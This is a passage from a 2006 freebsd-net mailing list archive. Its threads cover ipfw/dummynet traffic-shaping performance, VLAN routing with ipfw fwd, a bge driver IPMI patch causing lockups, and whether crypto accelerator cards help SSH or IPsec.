0.88.2/1438/Wed May 3 15:40:02 2006 on srv1.netconsultoria.com.br X-Virus-Status: Clean Cc: Lee Johnston , freebsd-net@freebsd.org, Julian Elischer , mihai@duras.ro Subject: Re: Packet loss with traffic shaper and routing X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 May 2006 01:40:10 -0000 Very good. You're right! I inserted a rule to match all non-layer2 packets on the top of the ruleset and interrupts dropped 10~20% immediately. Given that, I went to apply Julian's idea of grouping 'in' and 'out' pipe rules to reduce the searching on the firewall and that gave me a little bit more of performance. As interrupts were still hitting 60% mark, I did some more experiences: Test 1: I changed all 'pipe' rules to 'allow' rules, so all packets were allowed and no shaping was done. The pipes were still there, but there were no rules pointing packets to them. Result: No difference. Interrupts are the same as before. Conclusion: It's not the shaping itself that slows the system. Test 2: With the same ruleset of test 1, I just removed all pipes (ipfw pipe flush). Result: Interrupts were only 20%! Conclusion: Lots of pipes bother the system. I didn't figure out why, but it's not a coincidence. I tested several times to make sure. Test 3: I applied Michael's idea of using 'mask src-ip' and 'mask dst-ip' in the pipes to use them as a template for dynamic generated pipes. Result: Worked like a charm. Now I have only 18 pipes instead of 3200. Interrupts are ~30%. Conclusion: The reduced number of pipes generated less system interrupts. The only problem I noticed (so far) with this method is that if we have more than 1 IP address to a single MAC address, each IP will be shaped individually instead of share the same speed of the other(s) IP(s) with the same MAC. Anyway, I am very curious about the result of test 2. Why do the pipes have influence on system performance if there is nothing passing through them? Thank you very much everyone. "."@babolo.ru wrote: [...] > In your example each packet walk through the rule set 4 times > 1 mac input - abount half a ruleset average > 2 ip input - all ruleset, not succesfull > 3 ip output - all ruleset, not succesfull > 4 mac output - abount half a ruleset average > > allow all ip level packets on the ruleset begin and > down proc usage 3 times down. > [...] From owner-freebsd-net@FreeBSD.ORG Thu May 4 01:45:07 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9812D16A400 for ; Thu, 4 May 2006 01:45:07 +0000 (UTC) (envelope-from vulture@netvulture.com) Received: from rackman.netvulture.com (adsl-63-197-17-60.dsl.snfc21.pacbell.net [63.197.17.60]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1333543D45 for ; Thu, 4 May 2006 01:45:06 +0000 (GMT) (envelope-from vulture@netvulture.com) Received: from [127.0.0.1] (host73.netvulture.com [208.201.244.73]) (authenticated bits=0) by rackman.netvulture.com (8.13.5/8.13.5) with ESMTP id k441j2nA039874; Wed, 3 May 2006 18:45:04 -0700 (PDT) Message-ID: <44595C90.50400@netvulture.com> Date: Wed, 03 May 2006 18:44:48 -0700 From: Jonathan Feally User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jonathan Feally References: <1146644218.976446.80586.nullmailer@cicuta.babolo.ru> <4459101F.1000509@netvulture.com> In-Reply-To: <4459101F.1000509@netvulture.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-MailScanner-Information: Please contact your system administrator for more information X-MailScanner: Found to be clean X-MailScanner-SpamCheck: not spam (whitelisted), SpamAssassin (score=-0.775, required 2.5, autolearn=spam, AWL -1.36, HOT_NASTY 0.59) Cc: freebsd-net@freebsd.org, rizzo@icir.org Subject: Re: Having a problem with getting ipfw fwd to work with vlans and bge - 6.1-RC1 amd64 X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 May 2006 01:45:07 -0000 Think I've found the problem!! The vlans are created with the same mac as the parent interface. So even though the rule is being hit, the src mac never changes, so the packet then leaves the default interface. It sort of makes sense in my mind, but definatly seems like we are matching packets to interfaces based up the src mac and dst ip's route. For the ipfw to have any effect we would have to change the code that is doing the matching of the packets. I also had to put the vlan into promisc all the time. Going to move back to bge device tonight during off peak to make sure things are working with changing the vlan mac's. -Jon Jonathan Feally wrote: > Good to know about the mtu, however I'm still having the same problem > with a Pro/1000 em0. I have only tagged vlans running on em0 and the > admin vlan (1) running untagged on bge0. The only 2 networks in play > are 900 and 902. I'm not even working on packets from the lans passing > through yet. Just trying to get my pings from outside to leave on the > corresponding vlans back towards the correct gateway/router. If the > ipfw fwd feature to reroute outgoing packets to a different router is > broken - then this would be considered a show stopper for 6.1-RELEASE > in my mind. I hope Luigi can chime in here with some ideas to try or > debuging that can be done. > > Complete Machine Specs. > Asus K8N-LR > Has 2 onboard broadcom nics (bge0 + bge1) > Has Onboard ATI Rage XL Video. > 2GB Ram > AMD 4200+ X2 > Using onboard NVidia MediaShield Raid w/ 4 250GB Segate Drives. RAID10 > Add In Pro/1000 NIC (em0) > > Running 6.1-RC/amd64 as of 5/1/06 from cvsup of 6_RELENG > > Is there anybody else out there that has used the ipfw fwd feature to > do what I'm doing - and have you tried it on the 6 Branch? > > Need some answers soon - Please help! > > Thanks, -Jon > > > .@babolo.ru wrote: > >> [ Charset ISO-8859-1 unsupported, converting... ] >> >> >>> Hello, >>> I have setup a new firewall and I'm having trouble with it. Perhaps >>> the bge is to blame, perhaps its something else. >>> I'll explain my setup, problem and the workaround to get it going. >>> >>> Box connects to 2 Internal Lans and 2 External Wans. >>> >>> Vlans are mixed untagged and tagged on a single bge0 >>> >>> Vlan Network Desc >>> 1 10.255.1.0/24 Admin Lan - No Vlan Tagging >>> 2 10.255.2.0/24 VoIP Lan >>> 900 67.xxx.xxx.128/27 Internet A - Default Route - Going to be >>> pure VoIP only - thus 10.255.2 boxes get 1:1 NAT to 67.xxx.xxx >>> 902 208.xxx.xxx.48/28 Internet B - Web Services >>> >>> 1st problem I ran into was pings from vlan 2 through natd to vlan >>> 900 were not coming back. I could see the packet enter vlan2 - leave >>> and return on vlan900 - but go nowhere. I tried a tcpdump on bge0 >>> and the pings started coming back. Leading me to putting promisc on >>> my ifconfig bge0 >>> >>> Now I'm trying to setup up a simple web server on an IP from vlan >>> 902 in combination with fwd rule # 999 to route packets from a >>> vlan902 address back to the router on that internet connection. I >>> try to ping from the outside and can see the icmp echo request. But >>> the replies keep getting sent out vlan900 to the other internet router. >>> >>> Hopefully somebody can point me in the right direction. If its the >>> bge, then I can replace it with some em. If its an issue with mixing >>> native vlan and tagged, I can tag everything, If its not me, then >>> who can help getting the code fixed? >>> >>> I have put my ifconfig, ipfw rules and natd.conf's below. >>> >> >> Don't know about FreeBSD 6, in FreeBSD 4 you need mtu = 1504 >> for mtu = 1500 on vlans to work. >> >> This is reason not to use mix tagged/utagged on one bge. >> >> >> >>> Thanks -Jon >>> >>> --------------------------------------------------------- >>> >>> [root@t3031fw ~]# ifconfig -a >>> bge0: >>> flags=28943 >>> mtu 1500 >>> options=18 >>> inet6 fe80::215:f2ff:fed0:d898%bge0 prefixlen 64 scopeid 0x1 >>> inet 10.255.1.254 netmask 0xffffff00 broadcast 10.255.1.255 >>> ether 00:15:f2:d0:d8:98 >>> media: Ethernet autoselect (100baseTX ) >>> status: active >>> bge1: flags=8802 mtu 1500 >>> options=1b >>> ether 00:15:f2:40:d8:35 >>> media: Ethernet autoselect (none) >>> status: no carrier >>> plip0: flags=108810 mtu 1500 >>> lo0: flags=8049 mtu 16384 >>> inet6 ::1 prefixlen 128 >>> inet6 fe80::1%lo0 prefixlen 64 scopeid 0x4 >>> inet 127.0.0.1 netmask 0xff000000 >>> vlan2: flags=8843 mtu 1500 >>> inet6 fe80::215:f2ff:fed0:d898%vlan2 prefixlen 64 scopeid 0x5 >>> inet 10.255.2.1 netmask 0xffffff00 broadcast 10.255.2.255 >>> ether 00:15:f2:d0:d8:98 >>> media: Ethernet autoselect (100baseTX ) >>> status: active >>> vlan: 2 parent interface: bge0 >>> vlan900: flags=8843 mtu 1500 >>> >> >> ... >> >> >>> ether 00:15:f2:d0:d8:98 >>> media: Ethernet autoselect (100baseTX ) >>> status: active >>> vlan: 900 parent interface: bge0 >>> vlan902: flags=8843 mtu 1500 >>> inet6 fe80::215:f2ff:fed0:d898%vlan902 prefixlen 64 scopeid 0x7 >>> >> >> ... >> >> >>> ether 00:15:f2:d0:d8:98 >>> media: Ethernet autoselect (100baseTX ) >>> status: active >>> vlan: 902 parent interface: bge0 >>> >> > > _______________________________________________ > freebsd-net@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-net > To unsubscribe, send any mail to "freebsd-net-unsubscribe@freebsd.org" From owner-freebsd-net@FreeBSD.ORG Thu May 4 01:55:42 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 85CE316A400 for ; Thu, 4 May 2006 01:55:42 +0000 (UTC) (envelope-from jmg@hydrogen.funkthat.com) Received: from hydrogen.funkthat.com (gate.funkthat.com [69.17.45.168]) by mx1.FreeBSD.org (Postfix) with ESMTP id C7F7943D49 for ; Thu, 4 May 2006 01:55:41 +0000 (GMT) (envelope-from jmg@hydrogen.funkthat.com) Received: from hydrogen.funkthat.com (s2nozbxyv2ocv97j@localhost.funkthat.com [127.0.0.1]) by hydrogen.funkthat.com (8.13.4/8.13.3) with ESMTP id k441tThj050740; Wed, 3 May 2006 18:55:30 -0700 (PDT) (envelope-from jmg@hydrogen.funkthat.com) Received: (from jmg@localhost) by hydrogen.funkthat.com (8.13.4/8.13.3/Submit) id k441tONt050739; Wed, 3 May 2006 18:55:24 -0700 (PDT) (envelope-from jmg) Date: Wed, 3 May 2006 18:55:24 -0700 From: John-Mark Gurney To: tpeixoto@widesoft.com.br Message-ID: <20060504015524.GV728@funkthat.com> Mail-Followup-To: tpeixoto@widesoft.com.br, "."@babolo.ru, Lee Johnston , freebsd-net@freebsd.org, Julian Elischer , mihai@duras.ro References: <1146645702.297895.80691.nullmailer@cicuta.babolo.ru> <44595B76.9010901@widesoft.com.br> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <44595B76.9010901@widesoft.com.br> User-Agent: Mutt/1.4.2.1i X-Operating-System: FreeBSD 5.4-RELEASE-p6 i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ X-Resume: http://resnet.uoregon.edu/~gurney_j/resume.html Cc: Lee Johnston , "."@babolo.ru, Julian Elischer , mihai@duras.ro, freebsd-net@freebsd.org Subject: Re: Packet loss with traffic shaper and routing X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: John-Mark Gurney List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 May 2006 01:55:42 -0000 tpeixoto@widesoft.com.br wrote this message on Wed, May 03, 2006 at 22:40 -0300: > Anyway, I am very curious about the result of test 2. Why do the pipes > have influence on system performance if there is nothing passing through > them? It looks like each tick all the pipes are scanned... In dummynet: /* Sweep pipes trying to expire idle flow_queues. */ for (i = 0; i < HASHSIZE; i++) SLIST_FOREACH(pipe, &pipehash[i], next) That bit of code should probably be run less often... -- John-Mark Gurney Voice: +1 415 225 5579 "All that I will do, has been done, All that I have, has not." From owner-freebsd-net@FreeBSD.ORG Thu May 4 03:54:11 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 06B2C16A442; Thu, 4 May 2006 03:54:11 +0000 (UTC) (envelope-from ambrisko@ambrisko.com) Received: from mail2.ambrisko.com (mail2.ambrisko.com [64.174.51.44]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9AA0643D62; Thu, 4 May 2006 03:54:10 +0000 (GMT) (envelope-from ambrisko@ambrisko.com) Received: from server2.ambrisko.com (HELO www.ambrisko.com) ([192.168.1.2]) by mail2.ambrisko.com with ESMTP; 03 May 2006 20:53:18 -0700 Received: from ambrisko.com (localhost [127.0.0.1]) by www.ambrisko.com (8.12.11/8.12.11) with ESMTP id k443sAX8033732; Wed, 3 May 2006 20:54:10 -0700 (PDT) (envelope-from ambrisko@ambrisko.com) Received: (from ambrisko@localhost) by ambrisko.com (8.12.11/8.12.11/Submit) id k443s9d7033731; Wed, 3 May 2006 20:54:09 -0700 (PDT) (envelope-from ambrisko) From: Doug Ambrisko Message-Id: <200605040354.k443s9d7033731@ambrisko.com> In-Reply-To: <85D4F2C294E8434CA0AF7757415326860950D8@server1.ssgi.local> To: Robert Wojciechowski Date: Wed, 3 May 2006 20:54:09 -0700 (PDT) X-Mailer: ELM [version 2.4ME+ PL94b (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII Cc: freebsd-net@freebsd.org, oleg@freebsd.org Subject: Re: IPMI and bge (again) X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 May 2006 03:54:11 -0000 Robert Wojciechowski writes: | > Could you try this latest version. It incorporates Oleg | > change sort-of. It was a good hint. The issue is that | > we can't move the detection after the "reset" dance. Since | > it needs to know if ASF is active. What we can do is just | > do the bge_reset, look for ASF and then do the dance. This | > works really well and I makes the PHY probe work without the | > one remaining hack that I had left and I was able to get rid | > of a couple more hacks. | > | > This applies to RELENG_6. | > | > Please let me know how this works. I'd like to commit | > this. Please pay attention to if IPMI works before the | > NIC is UP/or has an IP and then when it is ifconfig down | > then up again. The PHY should be detected at brgphy | > and not the generic one. It should also have all of the | > proper speeds. It should work with and without PXE boot. | > Finally non-IPMI ones should work. | > | > So far it works on the variants I have. | | Doug, | | I tried your patch (as well as one from you on 1/13/2006) on FreeBSD | 6.1-RC2 but experienced hard lockups. It happens during startup right | after setting the hostname, right before it would normally bring up the | interface I believe. Could you try: http://www.ambrisko.com/doug/bge_ipmi_2.patch | This is on four different servers, all Supermicro motherboards (H8DAR | and H8DAE) based on the Broadcom BCM5704 chip. | | Here is the pciconf -lv: | | bge0@pci2:3:0: class=0x020000 card=0x164815d9 chip=0x164814e4 rev=0x10 | hdr=0x00 | vendor = 'Broadcom Corporation' | device = 'BCM5704 NetXtreme Dual Gigabit Adapter' | class = network | subclass = ethernet | bge1@pci2:3:1: class=0x020000 card=0x164815d9 chip=0x164814e4 rev=0x10 | hdr=0x00 | vendor = 'Broadcom Corporation' | device = 'BCM5704 NetXtreme Dual Gigabit Adapter' | class = network | subclass = Ethernet | | Any ideas? If you need any more information or have other patches I can | test for you, let me know! Try this version. If this has trouble we can try to add some debug stuff to it. Thanks, Doug A. From owner-freebsd-net@FreeBSD.ORG Thu May 4 05:45:15 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D315916A413; Thu, 4 May 2006 05:45:15 +0000 (UTC) (envelope-from robertw@ssginnovations.com) Received: from ssg1.ssginnovations.com (ssg1.ssginnovations.com [205.145.130.194]) by mx1.FreeBSD.org (Postfix) with ESMTP id 36D3643D53; Thu, 4 May 2006 05:45:06 +0000 (GMT) (envelope-from robertw@ssginnovations.com) Received: from server1.ssgi.local (unknown [205.145.129.164]) by ssg1.ssginnovations.com (Mail Daemon) with ESMTP id 2D91F40BD; Thu, 4 May 2006 01:45:06 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Thu, 4 May 2006 01:44:27 -0400 Message-ID: <85D4F2C294E8434CA0AF7757415326860950E0@server1.ssgi.local> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: IPMI and bge (again) Thread-Index: AcZvLnJmoV0itcyLQ8i40QitFqtL4wADuOgA From: "Robert Wojciechowski" To: "Doug Ambrisko" Cc: freebsd-net@freebsd.org, oleg@freebsd.org Subject: RE: IPMI and bge (again) X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 May 2006 05:45:15 -0000 > | I tried your patch (as well as one from you on 1/13/2006) on FreeBSD > | 6.1-RC2 but experienced hard lockups. It happens during startup right > | after setting the hostname, right before it would normally bring up the > | interface I believe. >=20 > Could you try: > http://www.ambrisko.com/doug/bge_ipmi_2.patch >=20 > Try this version. If this has trouble we can try to add some debug > stuff to it. >=20 Doug, Thanks for the response. I applied the patch from home and rebooted one of our servers at work and it isn't coming back up. I only saw a few pings go through on the IPMI IP address for a bit, then nothing at all. It froze up hard. If you want to throw debugging code in there I can do anything you need to trace this down!=20 Thanks! -- Robert From owner-freebsd-net@FreeBSD.ORG Thu May 4 06:56:46 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 545C416A404 for ; Thu, 4 May 2006 06:56:46 +0000 (UTC) (envelope-from michael@staff.openaccess.org) Received: from smtp.openaccess.org (smtp.openaccess.org [66.165.52.46]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0C51343D46 for ; Thu, 4 May 2006 06:56:46 +0000 (GMT) (envelope-from michael@staff.openaccess.org) Received: from [192.168.2.149] (unknown [216.57.214.91]) by smtp.openaccess.org (Postfix) with ESMTP id 64A686D44B9; Wed, 3 May 2006 23:56:45 -0700 (PDT) In-Reply-To: <44457DB4.4030601@errno.com> References: <200604180244.k3I2icZj076600@white.dogwood.com> <44457DB4.4030601@errno.com> Mime-Version: 1.0 (Apple Message framework v749.3) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <424A33C3-3E6F-437D-AF42-C508FCCFEDF7@staff.openaccess.org> Content-Transfer-Encoding: 7bit From: Michael DeMan Date: Wed, 3 May 2006 23:56:43 -0700 To: Sam Leffler X-Mailer: Apple Mail (2.749.3) Cc: freebsd-net@freebsd.org, Mike Tancsa Subject: Re: crypto accelerators X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 May 2006 06:56:46 -0000 hi, Just jumping in here. The Soekris 1401 offers only limited performance enhancements. If you read the specs, it is only useful (and used?) for certain encryption algorithms. Its also deprecated and would imagine that Soren regrets even releasing it in the first place. None the less, we have seen significant enhancements using that chip on 4.9+ BSD releases on older platforms. I don't have our thruput metrics in front of me right now, but I seem to recall they could take IPSec on a Soekris 4501 from about 2Mbit to about 6, with kernel polling enabled. I presume that kernel polling on the network side could adversely affect performance on the VPN board as well. It depends what you want in many ways. The only time I've seen IPSec or SSH traffic limited on a BSD box is from sheer CPU cycles, and a lot of that has to do with bandwidth over the PCI bus (or busses). I would expect a good crypto accelerator on a PCI bus separated from the network bus to perform much better? Michael F. DeMan Director of Technology OpenAccess Network Services Bellingham, WA 98225 michael@staff.openaccess.org 360-647-0785 On Apr 18, 2006, at 5:00 PM, Sam Leffler wrote: > Mike Tancsa wrote: >> On Mon, 17 Apr 2006 16:44:38 -1000 (HST), in sentex.lists.freebsd.net >> you wrote: >>> I've read here before (or maybe some other freebsd list) that cards >>> like the Soekris 1401 don't gain as much as you'd expect due to >>> moving >>> packets to/from the card over the PCI bus. But the context is >>> usually >>> one of trying to encrypt packets to increase throughput. >>> >>> So the question is whether these cards, regardless of their >>> affect on >>> throughput, increase usable CPU cycles? I have several Soekris 1401 >>> cards and am wondering if there would be any point to putting them >>> into some machines that provide logins over ssh. These machines are >>> generally pretty good spec, 2.4GHz+, 1GB RAM, Intel MBs, mostly >>> on-board peripherals. >> The only place I found it really helpful for ssh connections was on >> our backup server where we had multiple inbound ssh connections (e.g. >> 10+ at once sending dump piped through ssh) it kept the CPU >> utilization down. If you have just one or two, it doesnt really >> matter > > Unless you're doing lots of scp's it's unlikely ssh traffic is > going to generate large packets so offloading the crypto won't be > worthwhile (cost to setup the h/w op probably is higher than doing > the op in s/w). This has been discussed previously; see for > example my BSDCan 2003 paper. > > Sam > _______________________________________________ > freebsd-net@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-net > To unsubscribe, send any mail to "freebsd-net-unsubscribe@freebsd.org" > From owner-freebsd-net@FreeBSD.ORG Thu May 4 06:58:03 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 84CFC16A40A for ; Thu, 4 May 2006 06:58:03 +0000 (UTC) (envelope-from michael@staff.openaccess.org) Received: from smtp.openaccess.org (smtp.openaccess.org [66.165.52.46]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2F9BC43D53 for ; Thu, 4 May 2006 06:58:00 +0000 (GMT) (envelope-from michael@staff.openaccess.org) Received: from [192.168.2.149] (unknown [216.57.214.91]) by smtp.openaccess.org (Postfix) with ESMTP id 7C74D6D44BF; Wed, 3 May 2006 23:58:00 -0700 (PDT) In-Reply-To: <20060418191015.GE28496@spc.org> References: <200604180244.k3I2icZj076600@white.dogwood.com> <20060418191015.GE28496@spc.org> Mime-Version: 1.0 (Apple Message framework v749.3) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <5B0C06B7-292F-4F69-99D5-08C90D5C5BF2@staff.openaccess.org> Content-Transfer-Encoding: 7bit From: Michael DeMan Date: Wed, 3 May 2006 23:57:57 -0700 To: Bruce M Simpson X-Mailer: Apple Mail (2.749.3) Cc: freebsd-net@freebsd.org Subject: Re: crypto accelerators X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 May 2006 06:58:03 -0000 Hi, No on the SSH. Look at the specs, I think the 1401 cards will be helpful only on older IPSec circuits. I am not 100% sure here, I haven't looked at any of this in a few years, this is just from recollection. Michael F. DeMan Director of Technology OpenAccess Network Services Bellingham, WA 98225 michael@staff.openaccess.org 360-647-0785 On Apr 18, 2006, at 12:10 PM, Bruce M Simpson wrote: > On Mon, Apr 17, 2006 at 04:44:38PM -1000, Dave Cornejo wrote: >> So the question is whether these cards, regardless of their affect on >> throughput, increase usable CPU cycles? I have several Soekris 1401 >> cards and am wondering if there would be any point to putting them >> into some machines that provide logins over ssh. These machines are >> generally pretty good spec, 2.4GHz+, 1GB RAM, Intel MBs, mostly >> on-board peripherals. > > Given that spec of machine, I don't see that a hardware cipher would > offer much improvement -- and some of the available crypto > accelerators > don't perform Diffie-Helmann or AES, some do. > > I myself have a ubsec(4) card, and even when I hacked OpenSSH to use > OpenSSL engine support by default (with someone else's patch), I > didn't > see that much improvement (even when I forced the use of MD5, RSA and > 3DES). > > I could be wrong though - the above is qualitative not quantitative. > > Regards, > BMS > _______________________________________________ > freebsd-net@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-net > To unsubscribe, send any mail to "freebsd-net-unsubscribe@freebsd.org" > From owner-freebsd-net@FreeBSD.ORG Thu May 4 14:00:12 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5E6A316A406; Thu, 4 May 2006 14:00:12 +0000 (UTC) (envelope-from robertw@ssginnovations.com) Received: from ssg1.ssginnovations.com (ssg1.ssginnovations.com [205.145.130.194]) by mx1.FreeBSD.org (Postfix) with ESMTP id BDB8243D55; Thu, 4 May 2006 14:00:11 +0000 (GMT) (envelope-from robertw@ssginnovations.com) Received: from server1.ssgi.local (unknown [205.145.129.164]) by ssg1.ssginnovations.com (Mail Daemon) with ESMTP id E3D0D40F0; Thu, 4 May 2006 10:00:10 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Thu, 4 May 2006 10:00:08 -0400 Message-ID: <85D4F2C294E8434CA0AF7757415326860950E7@server1.ssgi.local> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: IPMI and bge (again) Thread-Index: AcZvLnJmoV0itcyLQ8i40QitFqtL4wADuOgAABEquzA= From: "Robert Wojciechowski" To: "Doug Ambrisko" Cc: freebsd-net@freebsd.org, oleg@freebsd.org Subject: RE: IPMI and bge (again) X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 May 2006 14:00:12 -0000 > > Could you try: > > http://www.ambrisko.com/doug/bge_ipmi_2.patch > > > > Try this version. If this has trouble we can try to add some debug > > stuff to it. > > >=20 > Doug, >=20 > Thanks for the response. I applied the patch from home and rebooted one > of our servers at work and it isn't coming back up. I only saw a few > pings go through on the IPMI IP address for a bit, then nothing at all. > It froze up hard. >=20 > If you want to throw debugging code in there I can do anything you need > to trace this down! >=20 Just to follow up, I got in this morning and it was indeed locked up right after setting the hostname... the same place it locked up before. -- Robert From owner-freebsd-net@FreeBSD.ORG Thu May 4 16:19:14 2006 Return-Path: X-Original-To: net@freebsd.org Delivered-To: freebsd-net@FreeBSD.ORG Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 92E8716A4E8 for ; Thu, 4 May 2006 16:19:14 +0000 (UTC) (envelope-from jhs@flat.berklix.net) Received: from thin.berklix.org (thin.berklix.org [194.246.123.68]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9388D43D72 for ; Thu, 4 May 2006 16:19:13 +0000 (GMT) (envelope-from jhs@flat.berklix.net) Received: from js.berklix.net (p549A71AD.dip.t-dialin.net [84.154.113.173]) (authenticated bits=128) by thin.berklix.org (8.12.11/8.12.11) with ESMTP id k44GJArr015980; Thu, 4 May 2006 18:19:11 +0200 (CEST) (envelope-from jhs@flat.berklix.net) Received: from fire.jhs.private (fire.jhs.private [192.168.91.41]) by js.berklix.net (8.12.11/8.12.11) with ESMTP id k44GJ8jY034008; Thu, 4 May 2006 18:19:08 +0200 (CEST) (envelope-from jhs@flat.berklix.net) Received: from fire.jhs.private (localhost.jhs.private [127.0.0.1]) by fire.jhs.private (8.13.1/8.13.1) with ESMTP id k44GKG9q003142; Thu, 4 May 2006 18:20:16 +0200 (CEST) (envelope-from jhs@fire.jhs.private) Message-Id: <200605041620.k44GKG9q003142@fire.jhs.private> To: Mike Silbersack In-Reply-To: Message from Mike Silbersack of "Fri, 10 Mar 2006 13:23:56 CST." <20060310132310.X68028@odysseus.silby.com> Date: Thu, 04 May 2006 18:20:16 +0200 From: "Julian H. Stacey" Cc: Bernd Kopriva , net@freebsd.org Subject: Re: TCP_COMPAT_42 support X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 May 2006 16:19:14 -0000 Mike Silbersack wrote: > > On Tue, 7 Mar 2006, Julian H. Stacey wrote: > > >> Looks to me like skyr decided to close the connection, and it closed as > >> expected. I think the problem is probably above the TCP layer - have you > >> tried an older version of rlogin to see if that makes a difference? > > > > Hmm. Thanks Mike, > > Until you wrote that I was thinking of install an old FreeBSD to try as > > a bridge, something like 2.2.8, in case of TCP difference, but now > > youve written that, as It's petty much a binary machine, > > perhaps I screwed the config somehow in /etc so I'll take another look, > > then. do a reload from tape to a sub dir, & run a find + cmp & rm > > C prog with my http://berklix.com/~jhs/src/bsd/jhs/bin/public/cmpd/cmpd.c > > I actually meant that rlogin on the client side might be the problem - > could you try the rlogin from 2.2.8 running under 6.0? > > Mike "Silby" Silbersack So, now knowing the problem was the Symmetric end, I reverted tons of stuff on the 4.2-BSD NSC-32016 Symmetric 375 ( http://berklix.com/~jhs/symmetric/ ) to manufacturer's defaults, & finaly standard rlogin to it worked from both FreeBSD 5.3-RELEASE & FreeBSD 6.1-RC, & stays logged in for days, no problem :-) Thanks Mike! -- Julian Stacey. Consultant Unix Net & Sys. Eng., Munich. http://berklix.com Mail in Ascii, HTML=spam. Ihr Rauch = mein allergischer Kopfschmerz. From owner-freebsd-net@FreeBSD.ORG Thu May 4 17:05:24 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org 